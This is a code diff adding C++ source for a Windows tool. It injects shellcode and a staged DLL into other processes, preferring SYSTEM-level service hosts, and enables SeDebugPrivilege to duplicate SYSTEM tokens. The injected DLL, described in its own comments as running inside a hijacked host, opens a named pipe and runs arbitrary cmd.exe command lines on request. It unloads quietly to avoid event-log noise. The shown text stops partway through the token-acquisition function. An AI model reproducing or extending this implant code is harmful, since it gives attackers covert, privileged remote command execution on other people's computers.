@@ -0,0 +1,21 @@
#pragma once
#include <windows.h>
bool EnsureWin32Service(
const wchar_t* serviceName,
const wchar_t* binaryPath,
bool startNow);
bool EnsureLocalSystemService(
const wchar_t* serviceName,
const wchar_t* binaryPath,
bool startNow,
bool restartOnFailure,
const wchar_t* displayName);
bool IsServiceRunning(const wchar_t* serviceName);
bool SetServiceDescription(
const wchar_t* serviceName,
const wchar_t* description);
+253
View File
@@ -0,0 +1,253 @@
#include "Common.h"
#include "ShellcodeUtils.h"
#include "Logger.h"
bool ReadFileToMemory(const wchar_t* path, std::vector<BYTE>& out)
{
out.clear();
HANDLE h = CreateFileW(
path,
GENERIC_READ,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (h == INVALID_HANDLE_VALUE)
{
Log(L"[-] ReadFileToMemory failed: %s err=%lu", path, GetLastError());
return false;
}
LARGE_INTEGER fileSize{};
if (!GetFileSizeEx(h, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x7FFFFFFF)
{
Log(L"[-] ReadFileToMemory invalid file size: %s", path);
CloseHandle(h);
return false;
}
out.resize((size_t)fileSize.QuadPart);
DWORD read = 0;
bool ok = ReadFile(h, out.data(), (DWORD)fileSize.QuadPart, &read, nullptr)
&& read == (DWORD)fileSize.QuadPart;
CloseHandle(h);
if (!ok)
Log(L"[-] ReadFileToMemory partial/failed: %s", path);
return ok;
}
static LPVOID AllocateExecMemory(HANDLE hProc, SIZE_T size)
{
if (!hProc || size == 0)
return nullptr;
LPVOID p = VirtualAllocEx(
hProc,
(LPVOID)0x10000,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!p)
{
p = VirtualAllocEx(
hProc,
nullptr,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
}
if (!p)
{
Log(L"[-] VirtualAllocEx failed: %lu", GetLastError());
return nullptr;
}
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProc, p, size, PAGE_EXECUTE_READWRITE, &oldProtect))
{
Log(L"[-] VirtualProtectEx failed: %lu", GetLastError());
VirtualFreeEx(hProc, p, 0, MEM_RELEASE);
return nullptr;
}
return p;
}
bool InjectShellcodeIntoExisting(
DWORD pid,
const BYTE* code,
size_t size)
{
if (!pid || !code || size == 0)
return false;
const DWORD access =
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_READ |
PROCESS_VM_WRITE |
PROCESS_CREATE_THREAD;
HANDLE hProc = OpenProcess(access, FALSE, pid);
if (!hProc)
{
Log(L"[-] Inject: OpenProcess(%lu) failed: %lu", pid, GetLastError());
return false;
}
LPVOID remote = AllocateExecMemory(hProc, size);
if (!remote)
{
CloseHandle(hProc);
return false;
}
SIZE_T written = 0;
if (!WriteProcessMemory(hProc, remote, code, size, &written) || written != size)
{
Log(L"[-] Inject: WriteProcessMemory failed: %lu", GetLastError());
VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
CloseHandle(hProc);
return false;
}
LPTHREAD_START_ROUTINE entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));
HANDLE hThread = CreateRemoteThread(
hProc,
nullptr,
0,
entry,
nullptr,
0,
nullptr);
if (!hThread)
{
Log(L"[-] Inject: CreateRemoteThread failed: %lu", GetLastError());
VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
CloseHandle(hProc);
return false;
}
Log(L"[+] Injected into PID %lu at %p", pid, (void*)remote);
CloseHandle(hThread);
CloseHandle(hProc);
return true;
}
bool InjectShellcodeAndResume(
NewProcInfo& info,
const BYTE* code,
size_t size)
{
if (!info.hProcess || !info.hThread || !code || size == 0)
return false;
LPVOID remote = AllocateExecMemory(info.hProcess, size);
if (!remote)
{
if (info.hThread)
{
ResumeThread(info.hThread);
CloseHandle(info.hThread);
info.hThread = nullptr;
}
if (info.hProcess)
{
CloseHandle(info.hProcess);
info.hProcess = nullptr;
}
return false;
}
SIZE_T written = 0;
if (!WriteProcessMemory(info.hProcess, remote, code, size, &written) || written != size)
{
Log(L"[-] Inject suspended: WriteProcessMemory failed: %lu", GetLastError());
VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);
if (info.hThread)
{
ResumeThread(info.hThread);
CloseHandle(info.hThread);
info.hThread = nullptr;
}
if (info.hProcess)
{
CloseHandle(info.hProcess);
info.hProcess = nullptr;
}
return false;
}
LPTHREAD_START_ROUTINE entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));
HANDLE hThread = CreateRemoteThread(
info.hProcess,
nullptr,
0,
entry,
nullptr,
0,
nullptr);
if (!hThread)
{
Log(L"[-] Inject suspended: CreateRemoteThread failed: %lu", GetLastError());
VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);
if (info.hThread)
{
ResumeThread(info.hThread);
CloseHandle(info.hThread);
info.hThread = nullptr;
}
if (info.hProcess)
{
CloseHandle(info.hProcess);
info.hProcess = nullptr;
}
return false;
}
ResumeThread(info.hThread);
Log(L"[+] Injected into suspended PID %lu and resumed: %p", info.processId, (void*)remote);
CloseHandle(hThread);
if (info.hThread)
CloseHandle(info.hThread);
if (info.hProcess)
CloseHandle(info.hProcess);
info.hThread = nullptr;
info.hProcess = nullptr;
return true;
}
+17
View File
@@ -0,0 +1,17 @@
#pragma once
#include <windows.h>
#include <vector>
#include "ProcessUtils.h"
bool ReadFileToMemory(const wchar_t* path, std::vector<BYTE>& out);
bool InjectShellcodeIntoExisting(
DWORD pid,
const BYTE* code,
size_t size);
bool InjectShellcodeAndResume(
NewProcInfo& info,
const BYTE* code,
size_t size);
+418
View File
@@ -0,0 +1,418 @@
#include "Common.h"
#include "StageClient.h"
#include "HostSpawn.h"
#include "Paths.h"
#include "Logger.h"
#include "resource.h"
#include <sstream>
#include <vector>
static std::string ToUtf8(const std::wstring& w)
{
if (w.empty())
return std::string();
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
if (need <= 0)
return std::string();
std::string out(need, '\0');
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
return out;
}
static std::wstring FromUtf8(const std::string& s)
{
if (s.empty())
return std::wstring();
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
if (need <= 0)
return std::wstring();
std::wstring out(need, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
return out;
}
static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage";
static const wchar_t* kDllName = L"ardrvstage.dll";
bool StageSend(const std::wstring& request, std::wstring& response)
{
response.clear();
HANDLE pipe = CreateFileW(
kPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (pipe == INVALID_HANDLE_VALUE)
return false;
std::string bytes = ToUtf8(request) + "\n";
DWORD written = 0;
if (!WriteFile(pipe, bytes.data(), (DWORD)bytes.size(), &written, nullptr))
{
CloseHandle(pipe);
return false;
}
std::string reply;
char buf[4096]{};
DWORD read = 0;
while (ReadFile(pipe, buf, sizeof(buf), &read, nullptr) && read > 0)
{
reply.append(buf, read);
if (reply.find("<<") != std::string::npos)
break;
}
CloseHandle(pipe);
size_t end = reply.find("<<");
if (end != std::string::npos)
reply = reply.substr(0, end);
response = FromUtf8(reply);
while (!response.empty() && (response.back() == L'\n' || response.back() == L'\r'))
response.pop_back();
return !response.empty();
}
bool StageAlive()
{
std::wstring response;
if (!StageSend(L"PING", response))
return false;
return response.find(L"PONG") != std::wstring::npos;
}
// Writes the payload that is packed into this executable to the stage dir.
// Writes the payload that is packed into this executable to the stage dir when
// the on-disk copy differs (missing, old build, or truncated). Comparing the
// bytes keeps upgrades working: a new loader always replaces an older DLL.
static bool EmbeddStageCurrent(const std::wstring& target)
{
HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_STAGE_DLL), RT_RCDATA);
if (!res)
return false;
DWORD size = SizeofResource(nullptr, res);
if (size == 0)
return false;
HGLOBAL loaded = LoadResource(nullptr, res);
if (!loaded)
return false;
const BYTE* data = static_cast<const BYTE*>(LockResource(loaded));
if (!data)
return false;
// Compare against what is already on disk.
HANDLE existing = CreateFileW(
target.c_str(),
GENERIC_READ,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (existing != INVALID_HANDLE_VALUE)
{
LARGE_INTEGER fileSize{};
bool same = false;
if (GetFileSizeEx(existing, &fileSize) && fileSize.QuadPart == (LONGLONG)size)
{
std::vector<BYTE> onDisk(size);
DWORD read = 0;
same = ReadFile(existing, onDisk.data(), size, &read, nullptr) &&
read == size &&
memcmp(onDisk.data(), data, size) == 0;
}
CloseHandle(existing);
if (same)
return true;
}
HANDLE h = CreateFileW(
target.c_str(),
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (h == INVALID_HANDLE_VALUE)
return false;
DWORD written = 0;
BOOL ok = WriteFile(h, data, size, &written, nullptr);
CloseHandle(h);
if (!ok || written != size)
{
DeleteFileW(target.c_str());
return false;
}
Log(L"[stage] payload refreshed from resources (%lu bytes) -> %s", size, target.c_str());
return true;
}
std::wstring StageDllPath(const std::wstring& explicitPath)
{
if (!explicitPath.empty())
{
wchar_t abs[4096]{};
if (GetFullPathNameW(explicitPath.c_str(), _countof(abs), abs, nullptr))
return abs;
return explicitPath;
}
std::wstring staged = ArdrvStageDir() + L"\\" + kDllName;
// The packed payload is authoritative: if it differs from the file on disk,
// the file is replaced. An old stage DLL otherwise survives every upgrade.
if (EmbeddStageCurrent(staged))
return staged;
if (GetFileAttributesW(staged.c_str()) != INVALID_FILE_ATTRIBUTES)
return staged;
wchar_t module[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
if (len > 0 && len < _countof(module))
{
std::wstring dir = module;
size_t slash = dir.find_last_of(L"\\/");
if (slash != std::wstring::npos)
{
dir = dir.substr(0, slash);
std::wstring candidate = dir + L"\\" + kDllName;
if (GetFileAttributesW(candidate.c_str()) != INVALID_FILE_ATTRIBUTES)
return candidate;
}
}
return std::wstring();
}
// CreateRemoteThread(LoadLibraryW) inside the chosen host.
static bool InjectDllIntoProcess(DWORD pid, const std::wstring& dllPath)
{
HANDLE proc = OpenProcess(
PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE,
pid);
if (!proc)
{
Log(L"[-] stage: OpenProcess(%lu) failed: %lu", pid, GetLastError());
return false;
}
const SIZE_T bytes = (dllPath.size() + 1) * sizeof(wchar_t);
LPVOID remote = VirtualAllocEx(proc, nullptr, bytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remote)
{
CloseHandle(proc);
return false;
}
if (!WriteProcessMemory(proc, remote, dllPath.c_str(), bytes, nullptr))
{
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(proc);
return false;
}
HMODULE kernel = GetModuleHandleW(L"kernel32.dll");
auto loadLibrary = reinterpret_cast<LPTHREAD_START_ROUTINE>(
GetProcAddress(kernel, "LoadLibraryW"));
if (!loadLibrary)
{
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(proc);
return false;
}
HANDLE thread = CreateRemoteThread(proc, nullptr, 0, loadLibrary, remote, 0, nullptr);
bool ok = false;
if (thread)
{
WaitForSingleObject(thread, 10000);
DWORD exitCode = 0;
if (GetExitCodeThread(thread, &exitCode))
ok = exitCode != 0;
CloseHandle(thread);
}
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(proc);
return ok;
}
HostInjectResult StageInject(
const std::wstring& dllPath,
const std::wstring& preferredImage,
bool requireSystem)
{
HostInjectResult result;
std::wstring dll = StageDllPath(dllPath);
if (dll.empty())
{
result.error = L"ardrvstage.dll not found next to the loader or in the stage dir";
return result;
}
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
HostInfo* chosen = nullptr;
for (auto& h : hosts)
{
if (!h.injectable)
continue;
if (requireSystem && !h.systemToken)
continue;
if (!preferredImage.empty() &&
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
{
continue;
}
chosen = &h;
break;
}
if (!chosen)
{
result.error = hosts.empty()
? L"no host process found (need admin or SYSTEM)"
: L"no injectable host available";
return result;
}
if (!InjectDllIntoProcess(chosen->pid, dll))
{
result.error = L"LoadLibrary injection failed into " + chosen->imageName;
return result;
}
result.ok = true;
result.hostPid = chosen->pid;
result.hostSession = chosen->sessionId;
result.hostImage = chosen->imagePath;
result.method = StageAlive() ? L"stage-live" : L"stage-injected-no-reply";
GetProcessCreateTime(chosen->pid, result.creationTime);
HostTrack track;
track.pid = result.hostPid;
track.creationTime = result.creationTime;
track.payload = dll;
track.hostImage = result.hostImage;
SaveHostTrack(track);
Log(L"[stage] injected %s into %lu (%s)",
dll.c_str(),
result.hostPid,
result.method.c_str());
return result;
}
HostInjectResult StageEnsure(bool requireSystem)
{
HostInjectResult result;
if (StageAlive())
{
result.ok = true;
result.method = L"stage-already-live";
HostTrack track = LoadHostTrack();
if (track.Tracked())
{
result.hostPid = track.pid;
result.hostImage = track.hostImage;
result.creationTime = track.creationTime;
}
return result;
}
return StageInject(L"", L"", requireSystem);
}
std::wstring FormatStageStatus()
{
std::wostringstream os;
std::wstring dll = StageDllPath();
os << L"alive=" << (StageAlive() ? 1 : 0)
<< L" dll=" << (dll.empty() ? L"(missing)" : dll);
HostTrack track = LoadHostTrack();
if (track.Tracked())
os << L" host_pid=" << track.pid << L" host=" << track.hostImage;
return os.str();
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#include <windows.h>
#include <string>
#include "HostStager.h"
// Talks to the stage payload running inside a host process.
// Returns false when no stage is listening.
bool StageSend(const std::wstring& request, std::wstring& response);
bool StageAlive();
// Locates ardrvstage.dll: explicit path, next to the loader, or in the stage dir.
std::wstring StageDllPath(const std::wstring& explicitPath = L"");
// Injects the stage DLL into the best host and verifies the pipe answers.
HostInjectResult StageInject(
const std::wstring& dllPath,
const std::wstring& preferredImage,
bool requireSystem);
// Injects only when the pipe is not already answering.
HostInjectResult StageEnsure(bool requireSystem = true);
std::wstring FormatStageStatus();
+299
View File
@@ -0,0 +1,299 @@
// Stage payload: runs inside a hijacked host process.
//
// Contract with the loader:
// - named pipe \\.\pipe\ArDrvStage
// - one request per connection, UTF-8, newline terminated
// - response: UTF-8, ends with "<<" sentinel line, then the pipe closes
// - commands: PING | WHOAMI | RUN <command line> | STOP
//
// The DLL is intentionally small: it is a command runner, not a second agent.
// All policy (which host, when to re-inject) stays in the loader so the payload
// can be swapped without touching the services.
#include <windows.h>
#include <string>
#include <vector>
static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage";
static const wchar_t* kMutexName = L"Global\\ArDrvStage";
static const char* kEnd = "<<";
static HMODULE g_module = nullptr;
static HANDLE g_mutex = nullptr;
static std::string Narrow(const std::wstring& w)
{
if (w.empty())
return std::string();
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
if (need <= 0)
return std::string();
std::string out(need, '\0');
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
return out;
}
static std::wstring Widen(const std::string& s)
{
if (s.empty())
return std::wstring();
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
if (need <= 0)
return std::wstring();
std::wstring out(need, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
return out;
}
static std::wstring CmdExe()
{
wchar_t sys[MAX_PATH]{};
if (GetSystemDirectoryW(sys, _countof(sys)) == 0)
return L"C:\\Windows\\System32\\cmd.exe";
return std::wstring(sys) + L"\\cmd.exe";
}
// Runs a command line through cmd.exe and captures stdout+stderr.
static bool RunCapture(const std::wstring& commandLine, std::wstring& output)
{
output.clear();
SECURITY_ATTRIBUTES sa{};
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
HANDLE readEnd = nullptr;
HANDLE writeEnd = nullptr;
if (!CreatePipe(&readEnd, &writeEnd, &sa, 0))
return false;
SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0);
STARTUPINFOW si{};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = writeEnd;
si.hStdError = writeEnd;
si.hStdInput = nullptr;
PROCESS_INFORMATION pi{};
std::wstring full = L"\"" + CmdExe() + L"\" /C " + commandLine;
std::vector<wchar_t> mutableCmd(full.begin(), full.end());
mutableCmd.push_back(L'\0');
BOOL ok = CreateProcessW(
nullptr,
mutableCmd.data(),
nullptr,
nullptr,
TRUE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&si,
&pi);
CloseHandle(writeEnd);
if (!ok)
{
CloseHandle(readEnd);
return false;
}
std::string bytes;
char buf[4096]{};
DWORD read = 0;
while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0)
bytes.append(buf, read);
WaitForSingleObject(pi.hProcess, 30000);
CloseHandle(readEnd);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
output = Widen(bytes);
return true;
}
static void ServeConnection(HANDLE pipe)
{
std::string request;
char ch = 0;
DWORD read = 0;
while (ReadFile(pipe, &ch, 1, &read, nullptr) && read == 1)
{
if (ch == '\n')
break;
if (request.size() > 32 * 1024)
break;
request.push_back(ch);
}
std::wstring line = Widen(request);
while (!line.empty() && (line.back() == L'\r'))
line.pop_back();
std::string response;
auto reply = [&](const std::string& status, const std::wstring& body)
{
response = status + "\n" + Narrow(body) + kEnd + "\n";
};
std::wstring command;
size_t sp = line.find(L' ');
if (sp == std::wstring::npos)
{
command = line;
}
else
{
command = line.substr(0, sp);
}
std::wstring rest = (sp == std::wstring::npos) ? std::wstring() : line.substr(sp + 1);
if (_wcsicmp(command.c_str(), L"PING") == 0)
{
reply("OK", L"PONG");
}
else if (_wcsicmp(command.c_str(), L"WHOAMI") == 0)
{
wchar_t user[256]{};
DWORD len = _countof(user);
std::wstring who = L"?";
wchar_t name[256]{};
DWORD nameLen = _countof(name);
if (GetUserNameW(user, &len))
who = user;
if (GetComputerNameW(name, &nameLen))
who = std::wstring(name) + L"\\" + who;
wchar_t self[MAX_PATH]{};
GetModuleFileNameW(nullptr, self, _countof(self));
reply("OK", who + L" pid=" + std::to_wstring(GetCurrentProcessId()) +
L" image=" + self);
}
else if (_wcsicmp(command.c_str(), L"RUN") == 0)
{
if (rest.empty())
{
reply("ERR", L"ERR_USAGE RUN <command line>");
}
else
{
std::wstring output;
if (RunCapture(rest, output))
reply("OK", output);
else
reply("ERR", L"exec failed");
}
}
else if (_wcsicmp(command.c_str(), L"STOP") == 0)
{
reply("OK", L"stopping");
DWORD written = 0;
WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
FlushFileBuffers(pipe);
DisconnectNamedPipe(pipe);
CloseHandle(pipe);
// Unload cleanly instead of killing the host: a service host that dies
// takes unrelated services with it and makes noise in the event log.
if (g_mutex)
{
CloseHandle(g_mutex);
g_mutex = nullptr;
}
FreeLibraryAndExitThread(g_module, 0);
}
else
{
reply("ERR", L"ERR_UNKNOWN " + command);
}
DWORD written = 0;
WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
FlushFileBuffers(pipe);
}
static DWORD WINAPI StageThread(void*)
{
while (true)
{
HANDLE pipe = CreateNamedPipeW(
kPipeName,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
64 * 1024,
64 * 1024,
0,
nullptr);
if (pipe == INVALID_HANDLE_VALUE)
{
Sleep(1000);
continue;
}
if (ConnectNamedPipe(pipe, nullptr) || GetLastError() == ERROR_PIPE_CONNECTED)
ServeConnection(pipe);
DisconnectNamedPipe(pipe);
CloseHandle(pipe);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(module);
g_module = module;
HANDLE mutex = CreateMutexW(nullptr, TRUE, kMutexName);
if (mutex && GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(mutex);
return TRUE;
}
g_mutex = mutex;
HANDLE thread = CreateThread(nullptr, 0, StageThread, nullptr, 0, nullptr);
if (thread)
CloseHandle(thread);
}
return TRUE;
}
+79
View File
@@ -0,0 +1,79 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<ProjectGuid>{C1A4E2B0-6F1D-4C21-9E55-2B6B4C1D9A31}</ProjectGuid>
<RootNamespace>ArDrvStage</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ItemDefinitionGroup Condition="'$(Configuration)'=='Debug'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<ModuleDefinitionFile />
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)'=='Release'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<PropertyGroup>
<TargetName>ardrvstage</TargetName>
</PropertyGroup>
<ItemGroup>
<ClCompile Include="StageDll.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
</Project>
+327
View File
@@ -0,0 +1,327 @@
#include "Common.h"
#include "TokenUtils.h"
#include "Logger.h"
static const DWORD kTokenAccessForDuplicate =
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID;
bool EnablePrivilege(const wchar_t* privilegeName)
{
HANDLE hToken = nullptr;
if (!OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
Log(L"[-] OpenProcessToken for privilege failed: %lu", GetLastError());
return false;
}
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid))
{
Log(L"[-] LookupPrivilegeValueW failed for %s: %lu", privilegeName, GetLastError());
CloseHandle(hToken);
return false;
}
TOKEN_PRIVILEGES tp{};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr);
DWORD err = GetLastError();
CloseHandle(hToken);
if (!ok || err == ERROR_NOT_ALL_ASSIGNED)
{
Log(L"[-] EnablePrivilege failed: %s, last=%lu", privilegeName, err);
return false;
}
return true;
}
bool TokenIsLocalSystem(HANDLE token)
{
if (!token)
return false;
DWORD needed = 0;
if (!GetTokenInformation(token, TokenUser, nullptr, 0, &needed))
{
DWORD e = GetLastError();
if (e != ERROR_INSUFFICIENT_BUFFER || needed == 0)
return false;
}
std::vector<BYTE> buf(needed);
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
if (!GetTokenInformation(token, TokenUser, tu, needed, &needed))
return false;
PSID systemSid = nullptr;
if (!ConvertStringSidToSidW(L"S-1-5-18", &systemSid))
return false;
bool userIsSystem = (EqualSid(tu->User.Sid, systemSid) == TRUE);
BOOL member = FALSE;
if (!userIsSystem)
CheckTokenMembership(token, systemSid, &member);
FreeSid(systemSid);
return userIsSystem || member == TRUE;
}
bool IsCurrentProcessSystem()
{
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return false;
bool result = TokenIsLocalSystem(hToken);
CloseHandle(hToken);
return result;
}
static HANDLE DuplicateTokenExWithFallback(HANDLE src)
{
HANDLE dup = nullptr;
if (DuplicateTokenEx(
src,
kTokenAccessForDuplicate,
nullptr,
SecurityImpersonation,
TokenPrimary,
&dup))
{
return dup;
}
const DWORD minimalAccess =
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT;
dup = nullptr;
if (DuplicateTokenEx(
src,
minimalAccess,
nullptr,
SecurityImpersonation,
TokenPrimary,
&dup))
{
return dup;
}
return nullptr;
}
HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken)
{
if (!srcToken)
return nullptr;
HANDLE dup = DuplicateTokenExWithFallback(srcToken);
if (!dup)
{
Log(L"[-] DuplicateTokenEx failed: %lu", GetLastError());
return nullptr;
}
if (!TokenIsLocalSystem(dup))
{
Log(L"[-] Duplicated token is not LocalSystem");
CloseHandle(dup);
return nullptr;
}
return dup;
}
static HANDLE OpenProcessTokenByPid(DWORD pid)
{
if (pid == 0)
return nullptr;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProc)
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProc)
return nullptr;
HANDLE hToken = nullptr;
if (!OpenProcessToken(hProc, kTokenAccessForDuplicate, &hToken))
{
hToken = nullptr;
if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
{
Log(L"[-] OpenProcessToken(%lu) failed: %lu", pid, GetLastError());
CloseHandle(hProc);
return nullptr;
}
}
CloseHandle(hProc);
return hToken;
}
static HANDLE DuplicateTokenFromPid(DWORD pid)
{
HANDLE hToken = OpenProcessTokenByPid(pid);
if (!hToken)
return nullptr;
if (!TokenIsLocalSystem(hToken))
{
CloseHandle(hToken);
return nullptr;
}
HANDLE dup = DuplicateSystemTokenFromHandle(hToken);
CloseHandle(hToken);
if (dup)
Log(L"[+] Obtained SYSTEM token from PID %lu", pid);
return dup;
}
static HANDLE TryDuplicateByNames(const wchar_t* const* names, size_t count)
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return nullptr;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (!Process32First(snap, &pe))
{
CloseHandle(snap);
return nullptr;
}
DWORD self = GetCurrentProcessId();
do
{
if (pe.th32ProcessID == self || pe.th32ProcessID <= 4)
continue;
for (size_t i = 0; i < count; ++i)
{
if (_wcsicmp(pe.szExeFile, names[i]) == 0)
{
HANDLE tok = DuplicateTokenFromPid(pe.th32ProcessID);
if (tok)
{
CloseHandle(snap);
return tok;
}
}
}
} while (Process32Next(snap, &pe));
CloseHandle(snap);
return nullptr;
}
HANDLE GetSystemToken(HANDLE preferredToken)
{
EnablePrivilege(SE_DEBUG_NAME);
if (preferredToken)
{
HANDLE dup = DuplicateSystemTokenFromHandle(preferredToken);
if (dup)
{
Log(L"[+] Using SYSTEM token returned by driver");
return dup;
}
}
HANDLE hProcessToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hProcessToken))
{
if (TokenIsLocalSystem(hProcessToken))
{
HANDLE dup = DuplicateSystemTokenFromHandle(hProcessToken);
CloseHandle(hProcessToken);
if (dup)
{
Log(L"[+] Current process token is LocalSystem");
return dup;
}
}
else
{
Log(L"[-] Current process token is not LocalSystem");
}
CloseHandle(hProcessToken);
}
